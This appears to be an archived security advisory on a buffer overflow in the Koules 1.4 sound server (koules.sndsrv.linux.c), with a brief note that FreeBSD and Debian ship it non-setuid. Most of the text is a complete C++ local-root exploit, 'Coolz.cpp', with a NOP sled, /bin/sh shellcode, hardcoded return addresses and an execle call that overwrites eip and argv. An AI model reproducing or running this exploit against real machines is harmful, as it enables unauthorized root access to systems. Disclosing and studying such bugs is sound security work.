COMMAND

    Koules

SYSTEMS AFFECTED

    Koules1.4

PROBLEM

    Guido Bakker  found following.   The problem  can be  found in the
    Koules1.4 package, code file:

        koules.sndsrv.linux.c - function: init()

    The `int i`  disappears in the  optimization gcc does.   Since the
    strcat() function concatenates an array of filenames, `argv`  gets
    ruined.  This will  cause the first run  of the loop to  fail.  If
    argv point somewhere into adressable memory space, the chances  of
    having  a  second  pointer  in  there  are close to zero, thus the
    second loop will fail.

    Last of  all, if  the argv[1]  does point  to a  valid address the
    string contained there shouldn't  be long enough to  overwrite eip
    a second time, since that gets us into trouble.  That's about  it.
    Even then, this ONLY works on machines that have compiled  SVGALIB
    support in and NOT on the X windows version of 'koules'.

    /*
       Coolz.cpp - yep a C Plus Plus exploit, I like that Strings STL :)

       Love goes out to: Hester and Maja
       Shouts go out to: Aad de Bruin, Karel Roos, L.G. Weert, Louis Maatman,
                         Richard Vriesde.
                 --  We always did feel the same, we just saw it from a
                      different point of view...
                          [Bob Dylan - Tangled up in Blue]

       -- Scrippie/ronald@grafix.nl
    /*

    /* Synnergy.net (c) 2000 */

    #include <cstdio>
    #include <string>
    #include <cstdlib>
    #include <unistd.h>

    #define FILENAME "/usr/local/lib/koules/koules.sndsrv.linux"

    #define NOP	'A'
    #define NUMNOPS	500
    #define RETADDY	"\x90\xfe\xff\xbf"
    /* Since we return in the cleared environment, we don't need to have a
       return address we can influence by command line "offset" arguments */

    string heavenlycode =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char *addytostr(unsigned char *);

    using namespace std;

    main()
    {
       string payload, vector;
       unsigned int i;
       const char *env[3];
       const char *ptr_to_bffffffc;

       /* Construction of our payload */
       payload.append(NUMNOPS, NOP);
       payload.append(heavenlycode);

       env[0] = payload.c_str();
       /* This memory address always contains 0x00000000 */
       env[1] = "\xfc\xff\xff\xbf";
       env[2] = NULL;

       /* Calculate for yourself, and check out: linux/fs/exec.c */
       ptr_to_bffffffc =
            addytostr((unsigned char *)(0xc0000000-sizeof(void *)-sizeof(FILENAME)
                                        -sizeof(heavenlycode)-sizeof(char *)-1));

       for(i=0;i<256;i++) {
          vector.append(RETADDY);		/* Fill the buffer */
       }
       /* We do NOT overwrite 'int i' - a register is used after gcc -O */
       vector.append(RETADDY);		/* Overwrites ebp */
       vector.append(RETADDY);		/* Overwrites eip */
       vector.append(ptr_to_bffffffc);	/* Overwrites argv argument */

       execle(FILENAME, "Segmentation fault (core dumped)", vector.c_str(), "A",
              NULL, env);

       perror("execle()");
    }

    char *addytostr(unsigned char *blaat)
    {
       char *ret;

       if(!(ret = (char *)malloc(sizeof(unsigned char *)+1))) {
          perror("malloc()");
          exit(EXIT_FAILURE);
       }
       memcpy(ret, &blaat, sizeof(unsigned char *));
       ret[sizeof(unsigned char *)] = 0x00;

       return(ret);
    }

SOLUTION

    The  FreeBSD  xkoules  port  doesnt  install  anything  setuid  or
    setgid..therefore not vulnerable.  Debian does not ship koules  or
    parts  of  it  setuid  root  and  thus  is  not vulnerable to this
    exploit.